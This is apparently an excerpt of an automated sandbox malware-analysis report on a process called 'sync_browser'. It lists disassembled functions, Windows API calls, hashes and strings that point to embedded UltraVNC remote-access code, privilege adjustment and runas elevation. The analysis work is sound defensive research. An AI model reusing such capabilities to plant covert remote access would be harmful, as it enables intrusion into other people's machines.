Part of subcall function 00007FF7E513CEAC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E513CEC0

___lc_codepage_func.LIBCMT ref: 00007FF7E512DFF8

Part of subcall function 00007FF7E5130520: _getptd.LIBCMT ref: 00007FF7E5130524

Part of subcall function 00007FF7E512945C: __wtomb_environ.LIBCMT ref: 00007FF7E512948C

free.LIBCMT ref: 00007FF7E512E069

Part of subcall function 00007FF7E5128BF4: RtlFreeHeap.NTDLL(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C0A
Part of subcall function 00007FF7E5128BF4: _errno.LIBCMT ref: 00007FF7E5128C14
Part of subcall function 00007FF7E5128BF4: GetLastError.KERNEL32(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C1C

free.LIBCMT ref: 00007FF7E512E0D2
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7E512E9A6,?,?,?,?,00007FF7E5130706), ref: 00007FF7E512E0E5
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7E512E9A6,?,?,?,?,00007FF7E5130706), ref: 00007FF7E512E19B
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7E512E9A6,?,?,?,?,00007FF7E5130706), ref: 00007FF7E512E1EE

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _errno$_get_daylight_invalid_parameter_noinfo$ByteCharMultiWidefree$ErrorFreeHeapInformationLastTimeZone___lc_codepage_func__wtomb_environ_amsg_exit_getptd_lock
String ID:
API String ID: 2532449802-0
Opcode ID: 8dacce8ed05afb912c218c2bfa4b7955afc0b41eb5700f84e9d69f6c384d718a
Instruction ID: 5ad80cc505e3af95db54ff16284329143261efd0e029e95cca61768f869de552
Opcode Fuzzy Hash: 8dacce8ed05afb912c218c2bfa4b7955afc0b41eb5700f84e9d69f6c384d718a
Instruction Fuzzy Hash: 94C1B436A0C28A85E720BF25B47177AB795BF45F40F804136DA8D8769ADF3CD8119722

Function 00007FF7E513068C Relevance: 15.3, APIs: 10, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00007FF7E51306AE
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E51306BA
_errno.LIBCMT ref: 00007FF7E51306E4
__tzset.LIBCMT ref: 00007FF7E5130701
_get_daylight.LIBCMT ref: 00007FF7E513070A
_get_daylight.LIBCMT ref: 00007FF7E513071B
_get_daylight.LIBCMT ref: 00007FF7E513072C
_isindst.LIBCMT ref: 00007FF7E5130770
_isindst.LIBCMT ref: 00007FF7E51307C0
__getgmtimebuf.LIBCMT ref: 00007FF7E51309BA

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _get_daylight$_errno_isindst$__getgmtimebuf__tzset_invalid_parameter_noinfo
String ID:
API String ID: 1457502553-0
Opcode ID: cbc433eb692454e3aa796801b86b425fca8be06b4507e2d40963ba8697586f4d
Instruction ID: f83810da7a6facb86d7a8ed3778bfd61c5b89aa08717e0edc93f132950a10dbe
Opcode Fuzzy Hash: cbc433eb692454e3aa796801b86b425fca8be06b4507e2d40963ba8697586f4d
Instruction Fuzzy Hash: EA91D8B2B0464E47EB58AF25E835779A3D5DB54B84F45803BDA0DCAB8DEE3CE5008711

Function 00007FF7E5076060 Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 354libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7E50760A0
GetVersion.KERNEL32 ref: 00007FF7E50764EF
GetProcAddress.KERNEL32 ref: 00007FF7E507656B
GetSystemInfo.KERNEL32 ref: 00007FF7E5076582
GetSystemInfo.KERNEL32 ref: 00007FF7E5076594

Strings

GetNativeSystemInfo, xrefs: 00007FF7E5076561
@, xrefs: 00007FF7E50763F2
GetVersionExA, xrefs: 00007FF7E5076093

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: AddressInfoProcSystem$Version
String ID: @$GetNativeSystemInfo$GetVersionExA
API String ID: 4103462327-1183986914
Opcode ID: c077f823e49ebc5b331189c8cff37ce902c5a9973228b6b7ea9e339cd8702d33
Instruction ID: a86950d4223de19a96fdae07440be024bd8a2ecd4d44b6e1bc25cd1fa1a89361
Opcode Fuzzy Hash: c077f823e49ebc5b331189c8cff37ce902c5a9973228b6b7ea9e339cd8702d33
Instruction Fuzzy Hash: 7DF17572A0468589E750EF35D0603BDB7A0FB45F48F588036EE4E8B699DF38E545CB22

Function 00007FF7E50951B7 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 399COMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32 ref: 00007FF7E509407F
CloseDesktop.USER32 ref: 00007FF7E50940C2

Part of subcall function 00007FF7E5071AE0: OpenClipboard.USER32 ref: 00007FF7E5071B0B

Strings

vncservice.cpp : SelectDesktop , xrefs: 00007FF7E509404B
vncservice.cpp : OpenInputdesktop2 OK, xrefs: 00007FF7E509409A
vncservice.cpp : OpenInputdesktop2 NULL, xrefs: 00007FF7E5094060
vncclient.cpp : vncClientThread , xrefs: 00007FF7E5094029

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: DesktopOpen$ClipboardCloseInput
String ID: vncclient.cpp : vncClientThread $vncservice.cpp : OpenInputdesktop2 NULL$vncservice.cpp : OpenInputdesktop2 OK$vncservice.cpp : SelectDesktop
API String ID: 2872304593-3977938048
Opcode ID: 9a1397a3eef0d020bab29e7c55029324bfbb077e343b79cf4d75e8f6a3a4f479
Instruction ID: b95db02468adea9fa1c137b09ce4165ad4a5a436fdf4d9cccc78ebab306bb48f
Opcode Fuzzy Hash: 9a1397a3eef0d020bab29e7c55029324bfbb077e343b79cf4d75e8f6a3a4f479
Instruction Fuzzy Hash: E512E632A086C585E760EB39C8687FDA7A0EBC5F94F844136EA4D8B799CF38D441C321

Function 00007FF7E50C78E0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 75registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E507D390: GetModuleFileNameA.KERNEL32 ref: 00007FF7E507D3BB

GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C792E
RegQueryValueExA.ADVAPI32 ref: 00007FF7E50C796A
RegQueryValueExA.ADVAPI32 ref: 00007FF7E50C79B2
GetPrivateProfileStringA.KERNEL32 ref: 00007FF7E50C7A02

Strings

admin, xrefs: 00007FF7E50C7924
admin_auth, xrefs: 00007FF7E50C79E0
UseRegistry, xrefs: 00007FF7E50C791D

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: PrivateProfileQueryValue$FileModuleNameString
String ID: UseRegistry$admin$admin_auth
API String ID: 3374479654-3376419731
Opcode ID: f1da5f48a8e78eea85e5e4b18c7d496972abace380fcf9454b174fc3425995f0
Instruction ID: 8c73b3a24bf9548c7e44d6b5bd8606ec62fb4d27386d38361394197b26685dcd
Opcode Fuzzy Hash: f1da5f48a8e78eea85e5e4b18c7d496972abace380fcf9454b174fc3425995f0
Instruction Fuzzy Hash: 08316631618A4681EB61AB21F8647AAF364FB89F84FC41137E98D87B58DF3CD504CB11

Function 00007FF7E5091620 Relevance: 12.3, APIs: 5, Strings: 3, Instructions: 323COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 00007FF7E509168C

Part of subcall function 00007FF7E5128C34: _FF_MSGBANNER.LIBCMT ref: 00007FF7E5128C64
Part of subcall function 00007FF7E5128C34: HeapAlloc.KERNEL32(?,?,00000000,00007FF7E513329C,?,?,?,00007FF7E5137749,?,?,?,00007FF7E51377F3), ref: 00007FF7E5128C89
Part of subcall function 00007FF7E5128C34: _callnewh.LIBCMT ref: 00007FF7E5128CA2
Part of subcall function 00007FF7E5128C34: _errno.LIBCMT ref: 00007FF7E5128CAD
Part of subcall function 00007FF7E5128C34: _errno.LIBCMT ref: 00007FF7E5128CB8

EnterCriticalSection.KERNEL32 ref: 00007FF7E5091813
LeaveCriticalSection.KERNEL32 ref: 00007FF7E509183B

Part of subcall function 00007FF7E5092CC0: malloc.LIBCMT ref: 00007FF7E5092D28
Part of subcall function 00007FF7E5092CC0: GetCurrentProcessId.KERNEL32 ref: 00007FF7E5092D6C
Part of subcall function 00007FF7E5092CC0: rand.LIBCMT ref: 00007FF7E5092D90

free.LIBCMT ref: 00007FF7E5091A63
free.LIBCMT ref: 00007FF7E5091AB0

Strings

l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\vncpasswd.h : PASSWD : ToText called, xrefs: 00007FF7E509166F
unable to determine legacy authentication method, xrefs: 00007FF7E509173F
i, xrefs: 00007FF7E5091809

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection_errnofreemalloc$AllocCurrentEnterHeapLeaveProcess_callnewhrand
String ID: i$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\vncpasswd.h : PASSWD : ToText called$unable to determine legacy authentication method
API String ID: 2847437661-1576074771
Opcode ID: c943cd2ba047107cef663f8e316ffb6f847f0ddfb623d2f2043e74a738892daf
Instruction ID: 4d01dd7021978954a5cd0823bdfc8e6d8c91f2ab3eac797f2b4792a26656c74a
Opcode Fuzzy Hash: c943cd2ba047107cef663f8e316ffb6f847f0ddfb623d2f2043e74a738892daf
Instruction Fuzzy Hash: 36D1B422B0474685F714E739D4643BDA7A2EB85B64F944236EE2E877D9CF38D841C322

Function 00007FF7E50C7650 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 47registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E507D390: GetModuleFileNameA.KERNEL32 ref: 00007FF7E507D3BB

GetPrivateProfileIntA.KERNEL32 ref: 00007FF7E50C7689
RegCreateKeyExA.ADVAPI32 ref: 00007FF7E50C76DD
RegCreateKeyExA.ADVAPI32 ref: 00007FF7E50C7722

Strings

mslogon, xrefs: 00007FF7E50C76F3
admin, xrefs: 00007FF7E50C767F
UseRegistry, xrefs: 00007FF7E50C7678
Software\UltraVNC, xrefs: 00007FF7E50C76B3

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Create$FileModuleNamePrivateProfile
String ID: Software\UltraVNC$UseRegistry$admin$mslogon
API String ID: 27673491-2056936749
Opcode ID: 49ca59dd5d1ce4bd8261c69328d6c9401fd879975b581b5eca3f4e4a4bfb3057
Instruction ID: 7c6d3f5391a9b079b3d0208db66bbf9e81a0a4c4aec631e66c1cccd55cda9593
Opcode Fuzzy Hash: 49ca59dd5d1ce4bd8261c69328d6c9401fd879975b581b5eca3f4e4a4bfb3057
Instruction Fuzzy Hash: AD21153651CB4A92E760AF14F4A07AAF364FB84754FC01136E68D47A59DF3CD154CB11

Function 00007FF7E50A1660 Relevance: 12.3, APIs: 8, Instructions: 292windowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF7E50A169D
IsWindowVisible.USER32 ref: 00007FF7E50A16B9
GetWindowRect.USER32 ref: 00007FF7E50A16CA
IsWindowVisible.USER32 ref: 00007FF7E50A172F
GetWindowRect.USER32 ref: 00007FF7E50A1744

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Window$RectVisible$Foreground
String ID:
API String ID: 2499709836-0
Opcode ID: 48f1e47169105f78f1c5671409c72268c28db6c5ed06a4c25a4347c71102ace5
Instruction ID: b091fbb526b79ea474736280845ad2cec64ec80ae1070b4f1466b06f20db922b
Opcode Fuzzy Hash: 48f1e47169105f78f1c5671409c72268c28db6c5ed06a4c25a4347c71102ace5
Instruction Fuzzy Hash: DAD1BE32B086958EEB14DFB9E0506EC77B2BB48B88B50453AEE0DA7B4CDF349441C761

Function 00007FF7E5083550 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 42shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7E5083569
OpenProcessToken.ADVAPI32 ref: 00007FF7E508357C
LookupPrivilegeValueA.ADVAPI32 ref: 00007FF7E5083594
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF7E50835C5
GetVersionExA.KERNEL32 ref: 00007FF7E50835DC
ExitWindowsEx.USER32 ref: 00007FF7E50835F1

Strings

SeShutdownPrivilege, xrefs: 00007FF7E508358B

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ProcessToken$AdjustCurrentExitLookupOpenPrivilegePrivilegesValueVersionWindows
String ID: SeShutdownPrivilege
API String ID: 337752880-3733053543
Opcode ID: ccb4f6b8adec0e5263e9b53491d22d093fe75a13b47b81360652c4a9f3302a15
Instruction ID: a075996f976d3a68ee88ab67ea717a22a290065e324fc5aab33529d55c437c38
Opcode Fuzzy Hash: ccb4f6b8adec0e5263e9b53491d22d093fe75a13b47b81360652c4a9f3302a15
Instruction Fuzzy Hash: F3116371918B4685E760EB20F8657AAF3A0FB84F45FC01036E58E87A58DF7CD049CB11

Function 00007FF7E5083E20 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF7E5083E4C
GetModuleFileNameA.KERNEL32 ref: 00007FF7E5083E6C
GetForegroundWindow.USER32 ref: 00007FF7E5083E7B
ShellExecuteExA.SHELL32 ref: 00007FF7E5083ECA

Strings

runas, xrefs: 00007FF7E5083E86
-softwarecad, xrefs: 00007FF7E5083EAD
p, xrefs: 00007FF7E5083E72

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ExecuteFileForegroundModuleNameShellVersionWindow
String ID: -softwarecad$p$runas
API String ID: 397093096-2208381721
Opcode ID: fb4efa84501b81446d58e4aa4c9b0a5607d51e55c45e595c5f15ef2dbf94494a
Instruction ID: 2c99361622b97b7a108beb4b7a441968e7debabda6dc46e052365c39645098ea
Opcode Fuzzy Hash: fb4efa84501b81446d58e4aa4c9b0a5607d51e55c45e595c5f15ef2dbf94494a
Instruction Fuzzy Hash: 7F11FA35518B8585E770AB10F4A839AB3A0FB88B45F800236D68D42B58EF7CD148CB11

Function 00007FF7E5127220 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7E51329F7
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7E5132A16
RtlVirtualUnwind.KERNEL32 ref: 00007FF7E5132A62
IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E5134917), ref: 00007FF7E5132AD4
SetUnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E5134917), ref: 00007FF7E5132AEC
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E5134917), ref: 00007FF7E5132AF9
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E5134917), ref: 00007FF7E5132B12
TerminateProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E5134917), ref: 00007FF7E5132B20

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: 06a598ca6a92d0ea32fba2d50ca2368aa251c6b52815f87316808892bb3a9e84
Instruction ID: 61ad7c7f7ef6442528be010223ba7332613bcace77553bf322cfaa08734ef592
Opcode Fuzzy Hash: 06a598ca6a92d0ea32fba2d50ca2368aa251c6b52815f87316808892bb3a9e84
